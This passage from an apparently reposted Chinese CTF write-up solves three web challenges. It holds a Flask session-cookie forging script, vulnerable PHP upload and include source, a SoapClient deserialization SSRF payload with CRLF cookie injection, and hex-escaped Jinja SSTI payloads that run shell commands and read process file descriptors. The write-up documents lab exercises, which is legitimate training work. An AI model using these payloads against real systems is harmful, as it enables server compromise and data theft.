elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else: # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if(secret_key==None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else: # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if(secret_key==None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif(args.subcommand == 'encode'):if(args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif(args.subcommand == 'decode'):if(args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value,args.secret_key))elif(args.cookie_value is not None):print(FSCM.decode(args.cookie_value))

python flask_session.py encode -s '102.787116078' -t "{'username':b'fuck'}"

注:flask-unsign 我试了好几次,我自己搞不出来

[GXYCTF2019]BabysqliV3.0

用户名填其他的都显示no user,admin的话显示pass wrong。因该就是要搞出来密码

然后看了一圈没发现啥特别有用的提示,怀疑是弱密码

ok admin是账户 密码是password

进入:

file=php://filter/convert.base64-encode/resource=home

home.php

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){if(isset($_GET['file'])){if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){die("hacker!");}else{if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){$file = $_GET['file'].".php";}else{$file = $_GET['file'].".fxxkyou!";}echo "当前引用的是 ".$file;require $file;}}else{die("no permission!");}
}
?>

upload.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <form action="" method="post" enctype="multipart/form-data">上传文件<input type="file" name="file" /><input type="submit" name="submit" value="上传" />
</form><?php
error_reporting(0);
class Uploader{public $Filename;public $cmd;public $token;function __construct(){$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";$ext = ".txt";@mkdir($sandbox, 0777, true);if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){$this->Filename = $_GET['name'];}else{$this->Filename = $sandbox.$_SESSION['user'].$ext;}$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";$this->token = $_SESSION['user'];}function upload($file){global $sandbox;global $ext;if(preg_match("[^a-z0-9]", $this->Filename)){$this->cmd = "die('illegal filename!');";}else{if($file['size'] > 1024){$this->cmd = "die('you are too big (′▽`〃)');";}else{$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";}}}function __toString(){global $sandbox;global $ext;// return $sandbox.$this->Filename.$ext;return $this->Filename;}function __destruct(){if($this->token != $_SESSION['user']){$this->cmd = "die('check token falied!');";}eval($this->cmd);}
}if(isset($_FILES['file'])) {$uploader = new Uploader();$uploader->upload($_FILES["file"]);if(@file_get_contents($uploader)){echo "下面是你上传的文件:<br>".$uploader."<br>";echo file_get_contents($uploader);}
}?>

随便上传一个文件:

沙箱是这么来的: $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";

$this->Filename = $sandbox.$_SESSION['user'].$ext;

ok

但是又有个

$uploader = new Uploader();

所以在echo $uploader的时候会直接调用_toString方法,

那我们直接让Filename=/var/www/html/flag.php就可以file_get_contents

bestphp's revenge

session反序列化

然后目录扫描到flag.php

only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!

要求有两个:本地127.0.0.1和flag=$flag

不是很会,参考文章

意思是访问者的IP地址要为127.0.0.1,如何为真则将flag的内容存储到SESSION[flag]中去,之后我们就可以通过携带正确的session去获得flag的value(vardump($_SESSION)--显示出flag的value),那么我们需要SSRF漏洞来实现.

那么我们需要SSRF那么就可以用SoapClient去实现,我们可以调用SoapClient类不存在的方法,从而调用它的_call方法,去实现对其内部定义的location地址的访问(自己访问自己).

首先我们要定义这个类并且控制其内容,之后调用一个它不存在的方法,同时注意要存在正确的session(通过CRLF漏洞实现),最后通过携带正确的session的value去获取该session所储存在服务器的key-value

脚本:

<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",'uri' => "http://127.0.0.1/"));$se = serialize($b);
echo "|".urlencode($se);

但是这个脚本运行需要php.ini里的 php_soap.dll 前面的分号去掉

我ini里面没有找到这个?

只能先用其他人的payload了

|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后:

通过变量覆盖,调用SoapClient类,从而触发__call 方法

传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func($b,$a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF

最后改session:

[pasecactf_2019]flask_ssti

pid进程/fd读取os.remove

def encode(line, key, key2):

return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W34', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT5')

flask ssti

这里 ' . _ 被ban了,然后可以用16进制绕

__class__:\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f

__base__:\x5f\x5f\x62\x61\x73\x65\x5f\x5f

__subclasses__:\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f

{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()}}

然后

{{class.bases[0].subclasses()[127].init.globals.["popen"]("ls").read()}}

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls")["read"]()}}

发现没有啥flag,推测在app.py中加密了

这个直接给ai跑就可以了,但是我们看到有个os.remove,也就是删除了/app/flag

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls /proc/self/fd")["read"]()}}

用get_data读

{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}

这里我用的payload不是从flask里读的,所以/proc/self指向的不是flask,所以我们可以先看看flask的进程是哪个

先看看pid:

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ps")["read"]()}}

然后就可以用cat 了

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("tac /proc/1/fd/3")["read"]()}}

http://www.dtcms.com/a/352865.html

相关文章:

  • Ansible模块实战,操作技巧
  • 局部厚铜:PCB技术革新,构筑电气新时代的动力基石
  • AGDO-BP+NSGAII梯度下降优化算法优化BP神经网络+NSGAII多目标优化算法,三目标和四目标案例
  • Spring Start Here 读书笔记:附录A. Architectural approaches
  • Linux系统深度优化指南:CPU、I/O与内核参数调优实战
  • C++:对拍(教程超详细)
  • 【微服务】SpringBoot 整合 Easy-Es 实战操作详解
  • XC6SLX75-2FGG484C Xilinx Spartan-6 LX FPGA
  • 一文详解 LangChain4j AiServices:自动代理实现大模型交互
  • 从文本到二进制:HTTP/2不止于性能,更是对HTTP/1核心语义的传承与革新
  • C++:知识点小结
  • 在Windows系统上升级Node.js和npm
  • camel agent
  • 人工智能安全地图:将人工智能漏洞与现实世界的影响联系起来
  • 【设计模式】简单工厂模式
  • 利用MCP实现爬虫智能体,获取数据竟如此简单恐顾
  • 【Python学习笔记】whl包打包
  • 【Redis#7】Redis 数据结构 -- Set 类型
  • AV1到达开始和约束时间
  • 如何避免绕过WAF 直接访问云主机
  • 从 WPF 到 Avalonia 的迁移系列实战篇1:依赖属性的异同点与迁移技巧
  • 学术/报告场景实测:从申请OpenAI API Key获取并实现GPT-5 PDF分析机器人(含源码)
  • 【Linux】从0到1掌握进程控制:终止、等待与替换的核心逻辑
  • 音频中的噪音门
  • 视频加水印_带gif 加动态水印 gif水印 视频浮动水印
  • 2025年03月 Python(三级)真题解析#中国电子学会#全国青少年软件编程等级考试
  • 《MongoDB 常用命令详解:从数据库操作到高级查询》
  • mongodb influxdb
  • Vue JS安装部署与使用方法(保姆级教程)
  • Java 实现 MongoDB ObjectId 算法